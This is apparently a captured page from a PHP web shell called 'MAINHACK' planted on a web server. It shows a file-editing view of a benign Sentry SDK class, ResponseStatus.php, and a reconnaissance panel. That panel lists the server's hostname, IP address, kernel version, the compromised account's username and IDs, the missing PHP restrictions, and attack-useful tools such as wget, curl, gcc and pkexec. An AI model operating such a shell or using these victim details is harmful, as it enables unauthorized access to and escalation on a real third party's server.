[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ResponseStatus.php
<?php declare(strict_types=1); namespace Sentry; /** * This enum represents all possible reasons an event sending operation succeeded * or failed. */ final class ResponseStatus implements \Stringable { /** * @var string The value of the enum instance */ private $value; /** * @var array<string, self> */ private static $instances = []; /** * Constructor. * * @param string $value The value of the enum instance */ private function __construct(string $value) { $this->value = $value; } /** * Returns an instance of this enum representing the fact that the event * failed to be sent due to unknown reasons. */ public static function unknown(): self { return self::getInstance('UNKNOWN'); } /** * Returns an instance of this enum representing the fact that event was * skipped from being sent. */ public static function skipped(): self { return self::getInstance('SKIPPED'); } /** * Returns an instance of this enum representing the fact that the event * was sent successfully. */ public static function success(): self { return self::getInstance('SUCCESS'); } /** * Returns an instance of this enum representing the fact that the event * failed to be sent because of API rate limiting. */ public static function rateLimit(): self { return self::getInstance('RATE_LIMIT'); } /** * Returns an instance of this enum representing the fact that the event * failed to be sent because the server was not able to process the request. */ public static function invalid(): self { return self::getInstance('INVALID'); } /** * Returns an instance of this enum representing the fact that the event * failed to be sent because the server returned a server error. */ public static function failed(): self { return self::getInstance('FAILED'); } /** * Returns an instance of this enum according to the given HTTP status code. * * @param int $statusCode The HTTP status code */ public static function createFromHttpStatusCode(int $statusCode): self { switch (true) { case $statusCode >= 200 && $statusCode < 300: return self::success(); case 429 === $statusCode: return self::rateLimit(); case $statusCode >= 400 && $statusCode < 500: return self::invalid(); case $statusCode >= 500: return self::failed(); default: return self::unknown(); } } public function __toString(): string { return $this->value; } private static function getInstance(string $value): self { if (!isset(self::$instances[$value])) { self::$instances[$value] = new self($value); } return self::$instances[$value]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002